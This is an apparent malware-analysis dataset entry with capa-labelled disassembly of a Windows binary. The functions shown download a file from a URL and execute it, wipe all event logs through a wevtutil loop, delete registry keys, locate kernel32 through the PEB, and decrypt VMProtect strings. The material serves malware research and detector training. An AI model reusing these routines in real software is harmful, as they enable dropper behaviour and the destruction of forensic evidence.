joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400ee230
Capabilities:
Create process on windows
Download url
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x80
mov rbx, rcx
lea rcx, [rsp + 0x50]
call fcn.1400ee380
mov rcx, rax
call fcn.1400bdb20
mov rcx, rax
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
lea rcx, [rbx + 0x20]
call fcn.1400c8820
mov r10, rax
lea rcx, [rsp + 0x50]
call fcn.1400ee380
mov rcx, rax
call fcn.1400bdb20
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, r10
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov r10d, eax
test eax, eax
jns 0x1400ee2c8
lea rcx, [rsp + 0x50]
call fcn.1400ee3a0
mov rcx, rax
call fcn.1400bd7c0
mov rcx, rax
mov edx, r10d
call fcn.1400efc30
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rdi
ret
lea rcx, [rsp + 0x50]
call fcn.1400ee380
mov rcx, rax
call fcn.1400bdb20
mov rcx, rax
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
lea rdx, [rbx + 0x60]
lea rcx, [rsp + 0x50]
call fcn.1400e9bd0
nop
lea rdx, [rbx + 0x40]
lea rcx, [rsp + 0x30]
call fcn.1400e9bd0
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.1400e6d60
nop
lea rcx, [rsp + 0x30]
call fcn.1400e24a0
nop
lea rcx, [rsp + 0x50]
call fcn.1400e24a0
lea rcx, [rbx + 0x20]
call fcn.1400c8820
mov r10, rax
lea rcx, [rsp + 0x30]
call fcn.1400ee3c0
mov rcx, rax
call fcn.1400bd760
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, r10
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1400ef7f0
Capabilities:
Clear windows event logs
Create process on windows
Delete registry key

Disassembly:
sub rsp, 0x98
lea rcx, [rsp + 0x50]
call fcn.1400ef870
mov rcx, rax
call fcn.1400be6d0
mov rdx, rax
mov rcx, 0xffffffff80000001
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
lea rcx, [rsp + 0x30]
call fcn.1400ef8b0
mov rcx, rax
call fcn.1400bd760
lea rcx, [rsp + 0x40]
mov r10, rax
call fcn.1400ef890
mov rcx, rax
call fcn.1400bd760
xor ecx, ecx
lea r9, str.__C_for__F__tokens___1_in__wevtutil.exe_el__DO_wevtutil.exe_cl___1_
mov dword [rsp + 0x28], ecx
mov r8, r10
mov rdx, rax
mov qword [rsp + 0x20], rcx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
add rsp, 0x98
ret
Function at 0x1400f0c70
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x190
mov rax, qword [0x1403285e8]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov rdi, rcx
mov qword [rsp + 0x38], rcx
lea rcx, str.util::AESFastCTR
mov rbx, rdx
call qword [sym.imp.VMProtectSDK64.dll_VMProtectBeginMutation]
mov r9d, 2
lea rdx, [rsp + 0x150]
vpxor xmm0, xmm0, xmm0
xor ecx, ecx
vmovups xmmword [rsp + 0x150], xmm0
lea r8d, [r9 + 0xe]
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
lea rcx, [0x140302bb8]
call qword [sym.imp.VMProtectSDK64.dll_VMProtectDecryptStringA]
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x100
vmovups ymm0, ymmword [rax]
vmovups ymmword [rsp + 0x160], ymm0
vzeroupper
call fcn.14023c420
lea r8, [rsp + 0x150]
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x50]
call fcn.1400dece0
mov rcx, rbx
call fcn.1400df090
mov r8, rax
call fcn.1400cf0a0
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.1400defb0
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.1400cb6c0
lea rcx, [rsp + 0x150]
mov r8, qword [rax]
call fcn.1400f4b20
lea rcx, [rsp + 0x150]
mov r10, rax
call fcn.1400af210
mov r9, rax
mov qword [rsp + 0x20], r10
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.1400f4b30
mov rdx, rbx
mov rcx, rdi
call fcn.1400f0b60
call qword [sym.imp.VMProtectSDK64.dll_VMProtectEnd]
mov rax, rdi
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.140239380
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x190
pop rdi
ret
Function at 0x1400f1070
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x90
mov rax, qword [0x1403285e8]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov r14, rcx
xor ebx, ebx
mov esi, ebx
mov dword [rsp + 0x60], ebx
lea rcx, [rsp + 0x40]
call fcn.1400e3ca0
mov rcx, rax
call fcn.1400bd7c0
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.1400c8da0
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 0xb]
mov rcx, rax
call fcn.1400d2840
cmp eax, 0xc0000004
jne 0x1400f1154
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x60]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov edi, dword [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.1400e3ca0
mov rcx, rax
call fcn.1400bd7c0
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.1400c8da0
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
mov r9d, edi
mov r8, rsi
mov edx, ntohs
mov rcx, rax
call fcn.1400d2840
cmp eax, 0xc0000004
je 0x1400f10e3
test eax, eax
js 0x1400f11ba
cmp dword [rsi], ebx
jbe 0x1400f11ba
nop dword [rax]
mov eax, ebx
imul rcx, rax, 0x128
lea rbp, [rcx + rsi]
movzx edx, word [rbp + 0x2e]
add rcx, 0x30
add rdx, rcx
add rdx, rsi
lea rcx, [rsp + 0x68]
call fcn.1400c8da0
nop
mov rcx, r14
call fcn.1400c8820
mov rdi, rax
lea rcx, [rsp + 0x68]
call fcn.1400c8820
mov rdx, rdi
mov rcx, rax
call fcn.140249124
test eax, eax
je 0x1400f11f5
lea rcx, [rsp + 0x68]
call fcn.1400c8cb0
inc ebx
cmp ebx, dword [rsi]
jb 0x1400f1160
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140239380
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
mov rbx, qword [rbp + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [rsp + 0x68]
call fcn.1400c8cb0
mov rax, rbx
jmp 0x1400f11cd
Function at 0x1400f29a0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov r14, rdx
mov rdi, rcx
test rcx, rcx
je 0x1400f2a3a
test rdx, rdx
je 0x1400f2a3a
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400f2a3a
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400f2a3a
mov rcx, qword [rax + rcx + 0x88]
mov rax, rcx
shr rax, 0x20
test eax, eax
je 0x1400f2a3a
mov esi, ecx
add rsi, rdi
je 0x1400f2a3a
mov r12d, dword [rsi + 0x1c]
xor ebx, ebx
mov r15d, dword [rsi + 0x20]
add r12, rdi
mov r13d, dword [rsi + 0x24]
add r15, rdi
add r13, rdi
cmp dword [rsi + 0x14], ebx
jbe 0x1400f2a3a
nop dword [rax]
mov edx, dword [r15 + rbx*4]
mov rcx, r14
add rdx, rdi
call fcn.140249124
test eax, eax
je 0x1400f2a59
inc ebx
cmp ebx, dword [rsi + 0x14]
jb 0x1400f2a20
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
movzx eax, word [r13 + rbx*2]
mov eax, dword [r12 + rax*4]
add rax, rdi
jmp 0x1400f2a3c

Function at 0x1400f2a70
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
sub rsp, 0x50
mov rax, qword [0x1403285e8]
xor rax, rsp
mov qword [rsp + 0x40], rax
vpxor xmm0, xmm0, xmm0
vpxor xmm1, xmm1, xmm1
mov rdx, rcx
xor ebp, ebp
lea rcx, [rsp + 0x30]
vmovups xmmword [rsp + 0x20], xmm0
vmovups xmmword [rsp + 0x30], xmm1
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rbx, qword [rsi]
cmp rbx, rsi
je 0x1400f2b21
mov qword [rsp + 0x68], rdi
lea rdi, [rbx - 0x10]
test rdi, rdi
je 0x1400f2b0e
cmp qword [rdi + 0x60], rbp
je 0x1400f2b0e
cmp word [rdi + 0x58], bp
lea rcx, [rdi + 0x58]
jbe 0x1400f2b0e
mov r8b, 1
lea rdx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll_RtlCompareUnicodeString]
test eax, eax
je 0x1400f2b18
mov rbx, qword [rbx]
cmp rbx, rsi
jne 0x1400f2ae3
jmp 0x1400f2b1c
mov rbp, qword [rdi + 0x30]
mov rdi, qword [rsp + 0x68]
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
mov rax, rbp
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140239380
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x50
pop rsi
ret
Function at 0x1400f2dd0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x1403285e8]
xor rax, rsp
mov qword [rsp + 0x60], rax
xor esi, esi
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov edx, 0x80000000
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 3
lea r8d, [rsi + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1400f2ebd
xor edx, edx
mov qword [rsp + 0x88], rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
lea edx, [rsi + 0x18]
mov ebx, eax
lea rcx, [rsp + 0x48]
call fcn.1400ae670
mov edx, ebx
lea rcx, [rsp + 0x48]
call fcn.1400df120
xor edx, edx
mov dword [rsp + 0x40], esi
lea rcx, [rsp + 0x48]
call fcn.1400c20b0
mov rdx, rax
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x40]
mov r8d, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x48]
call fcn.1400df090
xor edx, edx
lea rcx, [rsp + 0x48]
mov r8, rax
call fcn.1400c20b0
mov rcx, rax
mov rdx, r8
call fcn.1400af230
lea rcx, [rsp + 0x48]
mov rbx, rax
call fcn.1400c67b0
mov rax, rbx
mov rbx, qword [rsp + 0x88]
jmp 0x1400f2ec4
mov rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140239380
mov rsi, qword [rsp + 0x90]
add rsp, 0x70
pop rdi
ret

Function at 0x1400f3b60
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push rbx
sub rsp, 0x20
mov eax, dword [rcx]
mov rbx, rcx
cmp eax, 0x270
jne 0x1400f3b79
call fcn.1400f4260
jmp 0x1400f3b85
cmp eax, 0x4e0
jb 0x1400f3b85
call fcn.1400f42b0
mov eax, dword [rbx]
mov edx, dword [rbx + rax*4 + 4]
inc eax
mov dword [rbx], eax
mov ecx, edx
mov eax, dword [rbx + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 0x20
pop rbx
ret

Function at 0x1400f4260
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
lea rax, [rcx + 8]
mov r9d, 0x270
nop word [rax + rax]
mov r8d, dword [rax - 4]
xor r8d, dword [rax]
lea rax, [rax + 4]
btr r8d, 0x1f
xor r8d, dword [rax - 8]
mov ecx, r8d
and cl, 1
neg cl
sbb edx, edx
shr r8d, 1
and edx, 0x9908b0df
xor edx, dword [rax + 0x62c]
xor edx, r8d
mov dword [rax + 0x9b8], edx
sub r9, 1
jne 0x1400f4270
ret
Function at 0x1400f42b0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
lea r10, [rcx + 0x9c4]
mov r11, rcx
mov eax, dword [r10]
mov ebx, 0xe3
nop word [rax + rax]
mov edx, dword [r10 + 4]
lea r8, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 - 0x9c0], ecx
lea r10, [r8]
sub rbx, 1
jne 0x1400f42d0
lea r10, [r11 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r10]
nop dword [rax + rax]
mov edx, dword [r10 + 4]
lea r8, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd4c]
xor ecx, edx
mov dword [r10 - 0x9c0], ecx
lea r10, [r8]
sub rbx, 1
jne 0x1400f4320
mov edx, dword [r11 + 0x1380]
xor edx, dword [r11 + 4]
mov rbx, qword [rsp + 8]
btr edx, 0x1f
xor edx, dword [r11 + 0x1380]
mov eax, edx
mov dword [r11], 0
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 + 0x9c0], ecx
ret

Function at 0x1400f43a0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rcx + 4], edx
lea r9, [rcx + 8]
mov eax, 1
nop dword [rax]
mov r8d, edx
lea r9, [r9 + 4]
shr r8d, 0x1e
xor r8d, edx
imul edx, r8d, 0x6c078965
add edx, eax
inc rax
mov dword [r9 - 4], edx
cmp rax, 0x270
jb 0x1400f43b0
mov dword [rcx], 0x270
ret
Function at 0x1400f6db0
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov r13, rcx
xor r12d, r12d
cmp byte [0x140338629], r12b
jne 0x1400f6e09
mov byte [0x140338629], 1
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x38], r12d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea edx, [r12 - 1]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
lea r15, [r13 + 0x20]
mov qword [rsp + 0x20], r15
lea r9, [0x1402f0e70]
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x1402f0e80]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x1400f6ec8
mov rsi, qword [r15]
mov rax, qword [rsi]
mov rdi, qword [rax + 0x18]
lea rdx, [rsp + 0xb8]
lea rcx, [r13 + 0x28]
call fcn.1400f7320
mov rcx, rax
call fcn.1400f7210
mov rbx, rax
lea rcx, [rsp + 0x50]
call fcn.1400f7000
mov rcx, rax
call fcn.1400bd7c0
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.1400f6970
nop
mov rcx, rax
call fcn.1400f6a40
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, rsi
call rdi
mov ebx, eax
lea rcx, [rsp + 0xb0]
call fcn.1400f6a30
test ebx, ebx
jns 0x1400f6ee2
mov rcx, qword [r15]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
xor al, al
mov rbx, qword [rsp + 0xc8]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rcx, [r13 + 0x28]
call fcn.1400af080
mov rcx, rax
mov dword [rsp + 0x38], r12d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0xa]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x1400f6ebf
lea rcx, [r13 + 0x28]
call fcn.1400af080
mov r14, rax
mov rcx, qword [rax]
mov rsi, qword [rcx + 0xa0]
lea rdx, [rsp + 0xc0]
lea rcx, [r13 + 0x30]
call fcn.1400f7320
mov rcx, rax
call fcn.1400f7210
mov rdi, rax
mov rcx, r13
call fcn.1400c8820
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.1400f6910
nop
mov rcx, rax
call fcn.1400f6a40
mov rbx, rax
lea rcx, [rsp + 0x50]
call fcn.1400f7020
mov rcx, rax
call fcn.1400bd760
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.1400f6910
nop
mov rcx, rax
call fcn.1400f6a40
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r12
mov r9d, 0x30
mov r8, rbx
mov rdx, rax
mov rcx, r14
call rsi
mov ebx, eax
lea rcx, [rsp + 0xb0]
call fcn.1400f6a30
nop
lea rcx, [rsp + 0xb8]
call fcn.1400f6a30
lea rcx, [r13 + 0x30]
call fcn.1400f7550
test al, al
jne 0x1400f6ec8
test ebx, ebx
js 0x1400f6ebf
mov al, 1
jmp 0x1400f6eca
Function at 0x1400f78b0
Capabilities:
Terminate thread

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [rcx + 0x10]
lea rdx, [rsp + 0x20]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rax, qword [rcx + 8]
mov rbx, rcx
mov r9d, 0xffffffff
mov qword [rsp + 0x28], rax
lea ecx, [r8 + 2]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lock xadd dword [0x140338648], eax
mov rcx, qword [rbx + 8]
test eax, eax
je 0x1400f790d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
add rsp, 0x30
pop rbx
ret
mov rdx, rcx
xor r8d, r8d
lea rcx, [fcn.1400af360]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, qword [rbx + 8]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add rsp, 0x30
pop rbx
ret

Function at 0x1400f80b0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0xc0
mov rsi, rdx
mov rbx, rcx
xor edi, edi
mov eax, edi
lock xadd dword [rcx + 0x30], eax
test eax, eax
jne 0x1400f80f4
call fcn.1400f8250
lea rcx, [rsp + 0xb0]
call fcn.1400ad260
movups xmm0, xmmword [rax]
movups xmmword [rsi], xmm0
xor eax, eax
jmp 0x1400f81e7
mov dword [rsp + 0x90], edi
lea rcx, [rsp + 0x98]
call fcn.140238790
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
lea rax, [rbx + 0x28]
test rbx, rbx
cmove rax, rdi
mov qword [rsp + 0x20], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov ecx, dword [0x1403386c8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x20]
mov ecx, dword [0x1403386c8]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
nop
mov r9, rsi
lea r8, [rsp + 0x40]
mov rcx, rbx
call fcn.1400f83d0
test rax, rax
je 0x1400f81a4
nop dword [rax]
lea rax, [rdi + 1]
cmp rdi, 0xffffffffffffffff
cmove rax, rdi
mov rdi, rax
mov r9, rsi
lea r8, [rsp + 0x40]
mov rcx, rbx
call fcn.1400f83d0
test rax, rax
jne 0x1400f8180
mov rdx, qword [rsp + 0x30]
mov ecx, dword [0x1403386c8]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
nop
lea rbx, [rsp + 0x40]
mov esi, 0xa
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400f81cd
call fcn.140239c64
add rbx, 8
sub rsi, 1
jne 0x1400f81c0
lea rcx, [rsp + 0x98]
call fcn.14023881c
mov rax, rdi
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1400f82c0
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x70
xor eax, eax
lea rbx, [rcx + 0x28]
test rcx, rcx
mov ecx, dword [0x1403386c8]
cmove rbx, rax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x1400f83ca
cmp qword [rax], rbx
je 0x1400f82fc
mov rax, qword [rax + 0x10]
test rax, rax
jne 0x1400f82e8
add rsp, 0x70
pop rbx
ret
mov rbx, qword [rax + 8]
test rbx, rbx
je 0x1400f83ca
mov ecx, dword [rbx + 0x50]
test ecx, ecx
je 0x1400f8397
cmp ecx, 1
jne 0x1400f83ca
lea rdx, [rbx + 0x58]
mov dword [rbx + 0x50], 2
lea rcx, [rsp + 0x30]
call fcn.14023873c
lea rcx, [rsp + 0x40]
call fcn.1400acd40
lea rax, vtable.asio::multiple_exceptions.0
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x58]
call fcn.14023873c
lea rcx, [rsp + 0x30]
call fcn.14023881c
lea rcx, [rsp + 0x20]
call fcn.140238790
lea r8, [0x140320bd8]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.140238764
lea rcx, [rsp + 0x58]
call fcn.14023881c
lea rcx, [rsp + 0x40]
call fcn.1400ace20
jmp 0x1400f83b2
lea rcx, [rsp + 0x20]
mov dword [rbx + 0x50], 1
call fcn.140238790
lea rcx, [rsp + 0x20]
call fcn.14023879c
lea rdx, [rsp + 0x20]
lea rcx, [rbx + 0x58]
call fcn.140238734
lea rcx, [rsp + 0x20]
call fcn.14023881c
add rsp, 0x70
pop rbx
ret

Function at 0x1400f8b10
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rbp, rcx
mov rbx, r9
xor ecx, ecx
mov rdi, r8
mov rsi, rdx
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov eax, dword [rsp + 0x98]
mov r9d, 0x401
mov dword [rsp + 0x30], eax
mov r8, rbx
mov rax, qword [rsp + 0x88]
mov edx, edi
mov dword [rsp + 0x28], 0x20
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_getnameinfo]
mov edx, eax
cmp eax, 0x273f
jg 0x1400f8bcf
je 0x1400f8bc3
test eax, eax
je 0x1400f8bb7
sub edx, 8
je 0x1400f8bab
sub edx, 0x271e
je 0x1400f8b9c
cmp edx, 0x16
jne 0x1400f8be9
call fcn.1400af590
mov edx, 0x273c
jmp 0x1400f8c2c
call fcn.1400af580
mov edx, 0x2726
jmp 0x1400f8c2c
call fcn.1400af580
mov edx, reloc.WS2_32.dll_ntohl
jmp 0x1400f8c2c
lea rcx, [rsp + 0x40]
call fcn.1400ad260
jmp 0x1400f8c39
call fcn.1400af580
mov edx, 0x273f
jmp 0x1400f8c2c
sub edx, 0x277d
je 0x1400f8c22
sub edx, 0x37c
je 0x1400f8c16
sub edx, 1
je 0x1400f8c0a
cmp edx, 1
je 0x1400f8bfe
call fcn.1400af580
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov r8, rbx
jmp 0x1400f8c2f
call fcn.1400af590
mov edx, 0x2afb
jmp 0x1400f8c2c
call fcn.1400af590
mov edx, 0x2afa
jmp 0x1400f8c2c
call fcn.1400af590
mov edx, 0x2af9
jmp 0x1400f8c2c
call fcn.1400af590
mov edx, 0x277d
mov r8, rax
lea rcx, [rsp + 0x40]
call fcn.1400ad280
mov rax, qword [rsp + 0xa0]
movaps xmm0, xmmword [rsp + 0x40]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
movups xmmword [rax], xmm0
mov rax, rbp
movups xmmword [rbp], xmm0
mov rbp, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x1400fb4a0
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [rcx + 0x10]
test rcx, rcx
je 0x1400fb4cf
mov rcx, qword [rcx + 0x38]
test rcx, rcx
je 0x1400fb4c7
mov rax, qword [rcx]
xor edx, edx
call rax
nop
mov qword [rdi + 0x10], 0
mov rbx, qword [rdi + 8]
test rbx, rbx
je 0x1400fb518
mov ecx, dword [0x1403386c8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x1400fb508
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x1400fb508
xor ecx, ecx
xor eax, eax
cmp qword [rdx + rax*8], 0
je 0x1400fb523
inc ecx
inc rax
cmp rax, 2
jl 0x1400fb4f6
mov rcx, rbx
call fcn.140239c64
mov qword [rdi + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
movzx eax, byte [rbx + 0x48]
mov byte [rbx], al
movsxd rax, ecx
mov qword [rdx + rax*8], rbx
mov qword [rdi + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400fb870
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbx
sub rsp, 0x20
mov rbx, rcx
mov ecx, dword [0x1403386c8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x1400fb8a9
mov rdx, qword [rax + 8]
mov r8, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400fa0d0
xor edx, edx
mov r8, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400fa0d0

Function at 0x1400fb8c0
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbx
push rdi
sub rsp, 0x28
mov rbx, rcx
mov rdi, rdx
mov ecx, dword [0x1403386c8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
xor r8d, r8d
test rax, rax
je 0x1400fb8f0
mov r9, qword [rax + 8]
jmp 0x1400fb8f3
mov r9, r8
cmp rdi, 0x3fc
ja 0x1400fb917
test r9, r9
je 0x1400fb917
mov rax, r8
cmp qword [r9 + rax*8], 0
je 0x1400fb925
inc r8d
inc rax
cmp rax, 2
jl 0x1400fb904
mov rcx, rbx
add rsp, 0x28
pop rdi
pop rbx
jmp fcn.140239c64
movzx eax, byte [rbx + rdi]
mov byte [rbx], al
movsxd rax, r8d
mov qword [r9 + rax*8], rbx
add rsp, 0x28
pop rdi
pop rbx
ret